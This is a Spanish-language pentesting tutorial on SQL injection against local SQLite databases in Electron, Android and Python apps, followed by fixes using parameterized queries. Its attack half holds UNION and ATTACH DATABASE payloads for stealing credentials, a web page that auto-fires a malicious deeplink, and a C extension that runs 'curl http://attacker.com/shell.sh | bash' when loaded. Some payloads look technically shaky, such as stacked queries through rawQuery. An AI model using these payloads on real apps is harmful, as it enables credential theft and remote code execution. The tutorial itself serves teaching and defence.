bug-bounty

SQLite Local Injections

Ataques a bases de datos locales desde apps maliciosas en dispositivos rooteados.

Pentester
16 minutos
CVSS 7.8
Enero 2026

SQLite en Apps Locales

SQLite es la base de datos más usada en aplicaciones móviles (Android/iOS) y apps desktop (Electron). Aunque la base de datos esté "local", las vulnerabilidades de inyección SQL siguen siendo explotables y peligrosas.

Vectores de Ataque Locales

  • 📱 Apps móviles que procesan deeplinks/URLs personalizadas
  • 💾 Apps Electron con IPC inseguro
  • 📄 Apps que importan archivos CSV/JSON maliciosos
  • 🔐 Password managers con búsqueda vulnerable

1. Injection en Apps Electron

Escenario Vulnerable

main.js - Proceso principal de Electron
javascript
const { app, ipcMain } = require('electron');
const sqlite3 = require('sqlite3').verbose();
const db = new sqlite3.Database('./app.db');

// ❌ VULNERABLE - IPC handler sin validación
ipcMain.handle('search-notes', async (event, searchTerm) => {
  return new Promise((resolve, reject) => {
    // Concatenación directa = vulnerable
    db.all(
      `SELECT * FROM notes WHERE content LIKE '%${searchTerm}%'`,
      (err, rows) => {
        if (err) reject(err);
        else resolve(rows);
      }
    );
  });
});

Exploit desde Renderer Process

renderer.js - Exfiltrar datos
javascript
// En la app, un atacante puede inyectar via campo de búsqueda
const maliciousSearch = "' UNION SELECT username, password, email FROM users --";

const results = await window.electronAPI.searchNotes(maliciousSearch);

// Resultado: obtiene credenciales de TODOS los usuarios
console.log(results);
// [
//   { username: 'admin', password: 'hashed_password_here', email: 'admin@app.com' },
//   { username: 'user1', password: 'another_hash', email: 'user@app.com' }
// ]

Impacto

Un atacante puede extraer TODA la base de datos local, incluyendo credenciales, tokens de sesión, claves de cifrado, etc.

2. SQLite en Android

Código Vulnerable en Android

NotesActivity.java - Búsqueda vulnerable
java
public class NotesActivity extends AppCompatActivity {
    private SQLiteDatabase db;
    
    private void searchNotes(String query) {
        // ❌ VULNERABLE - rawQuery con concatenación
        String sql = "SELECT * FROM notes WHERE title LIKE '%" + query + "%'";
        Cursor cursor = db.rawQuery(sql, null);
        
        if (cursor.moveToFirst()) {
            do {
                String title = cursor.getString(0);
                String content = cursor.getString(1);
                displayNote(title, content);
            } while (cursor.moveToNext());
        }
        cursor.close();
    }
}

Payload via Deeplink

Un atacante puede crear una URL maliciosa que la app procese:

Página web maliciosa
html
<!DOCTYPE html>
<html>
<body>
  <h1>Click para abrir la app</h1>
  <a href="myapp://search?q=' UNION SELECT password, '', '' FROM users WHERE username='admin' --">
    Ver resultados
  </a>
  
  <script>
    // Auto-abrir el deeplink
    window.location = "myapp://search?q=' UNION SELECT password, '', '' FROM users WHERE username='admin' --";
  </script>
</body>
</html>
Cuando la víctima haga clic, la app procesa el payload y extrae la contraseña.

Attach Database para Exfiltración

Payload - Copiar datos a archivo accesible
sql
' ; ATTACH DATABASE '/sdcard/Download/leaked.db' AS leaked; 
CREATE TABLE leaked.passwords AS SELECT * FROM users; 
DETACH DATABASE leaked; --

-- El atacante puede luego acceder a /sdcard/Download/leaked.db

3. RCE con LOAD_EXTENSION

SQLite permite cargar extensiones .so/.dll

Si SQLITE_ENABLE_LOAD_EXTENSION está habilitado, puedes cargar librerías nativas y ejecutar código arbitrario.

Crear Extensión Maliciosa

evil.c - Extensión SQLite maliciosa
c
#include <sqlite3ext.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1

// Esta función se ejecuta al cargar la extensión
int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  SQLITE_EXTENSION_INIT2(pApi);
  
  // ¡Ejecutar comando del sistema!
  system("curl http://attacker.com/shell.sh | bash");
  
  return SQLITE_OK;
}
Compilar extensión
gcc -shared -fPIC -o evil.so evil.c # En macOS: gcc -dynamiclib -o evil.dylib evil.c # En Windows: gcc -shared -o evil.dll evil.c -lsqlite3

Payload de Explotación

Cargar extensión maliciosa
sql
'; SELECT load_extension('/tmp/evil.so'); --

-- En Windows:
'; SELECT load_extension('C:\Users\Public\evil.dll'); --
El atacante primero necesita escribir el archivo .so/.dll en disco. Esto puede hacerse con:
  • Subir archivo via funcionalidad de import
  • Escribir usando ATTACH DATABASE
  • Social engineering (víctima descarga archivo)

4. CSV Import Injection

Apps que Importan CSV

Muchas apps permiten importar datos desde CSV. Si el import usa SQL dinámico, podemos inyectar payloads en el CSV:

malicious.csv - Datos maliciosos
csv
name,email,notes
John Doe,john@example.com,Normal note
Admin,' UNION SELECT password FROM users WHERE username='admin' --,Malicious
app.py - Import vulnerable
python
import sqlite3
import csv

def import_csv(filename):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    with open(filename, 'r') as f:
        reader = csv.DictReader(f)
        for row in reader:
            # ❌ VULNERABLE - f-string con datos del CSV
            query = f"""
                INSERT INTO contacts (name, email, notes) 
                VALUES ('{row['name']}', '{row['email']}', '{row['notes']}')
            """
            cursor.execute(query)
    
    conn.commit()
    conn.close()

Mitigación Completa

✅ Usar Prepared Statements SIEMPRE

Todos los lenguajes tienen soporte para queries parametrizadas.

Electron / Node.js

✅ SEGURO - better-sqlite3
javascript
const Database = require('better-sqlite3');
const db = new Database('./app.db');

ipcMain.handle('search-notes', async (event, searchTerm) => {
  // ✅ SEGURO - Prepared statement
  const stmt = db.prepare('SELECT * FROM notes WHERE content LIKE ?');
  const results = stmt.all(`%${searchTerm}%`);
  return results;
});

// ✅ También seguro con named parameters
const insertStmt = db.prepare('INSERT INTO notes (title, content) VALUES (@title, @content)');
insertStmt.run({ title: userTitle, content: userContent });

Android / Java

✅ SEGURO - query() con selectionArgs
java
public class NotesActivity extends AppCompatActivity {
    private SQLiteDatabase db;
    
    private void searchNotes(String query) {
        // ✅ SEGURO - Usar query() con placeholders
        Cursor cursor = db.query(
            "notes",                                    // tabla
            new String[]{"title", "content"},          // columnas
            "title LIKE ?",                            // WHERE con placeholder
            new String[]{"%" + query + "%"},           // valores (escapados automáticamente)
            null, null, null
        );
        
        if (cursor.moveToFirst()) {
            do {
                String title = cursor.getString(0);
                String content = cursor.getString(1);
                displayNote(title, content);
            } while (cursor.moveToNext());
        }
        cursor.close();
    }
    
    // ✅ SEGURO - Insert con ContentValues
    private void insertNote(String title, String content) {
        ContentValues values = new ContentValues();
        values.put("title", title);
        values.put("content", content);
        db.insert("notes", null, values);
    }
}

Python

✅ SEGURO - sqlite3 con placeholders
python
import sqlite3

def search_notes(search_term):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    # ✅ SEGURO - Usar ? como placeholder
    cursor.execute(
        "SELECT * FROM notes WHERE content LIKE ?",
        (f'%{search_term}%',)  # Tuple de parámetros
    )
    
    results = cursor.fetchall()
    conn.close()
    return results

def insert_contact(name, email, notes):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()
    
    # ✅ SEGURO - Named placeholders
    cursor.execute(
        "INSERT INTO contacts (name, email, notes) VALUES (:name, :email, :notes)",
        {'name': name, 'email': email, 'notes': notes}
    )
    
    conn.commit()
    conn.close()

Deshabilitar LOAD_EXTENSION

Node.js - Deshabilitar extensiones
javascript
const sqlite3 = require('sqlite3').verbose();
const db = new sqlite3.Database('./app.db');

// ✅ Deshabilitar carga de extensiones (por defecto está deshabilitado)
// No llamar a db.loadExtension()
Python - Deshabilitar extensiones
python
import sqlite3

conn = sqlite3.connect('app.db')

# ✅ Asegurar que load_extension esté deshabilitado
conn.enable_load_extension(False)  # Por defecto es False

Siguiente: Firebase Misconfiguration

Explotar Firebase sin autenticación
Por Aitana Security Team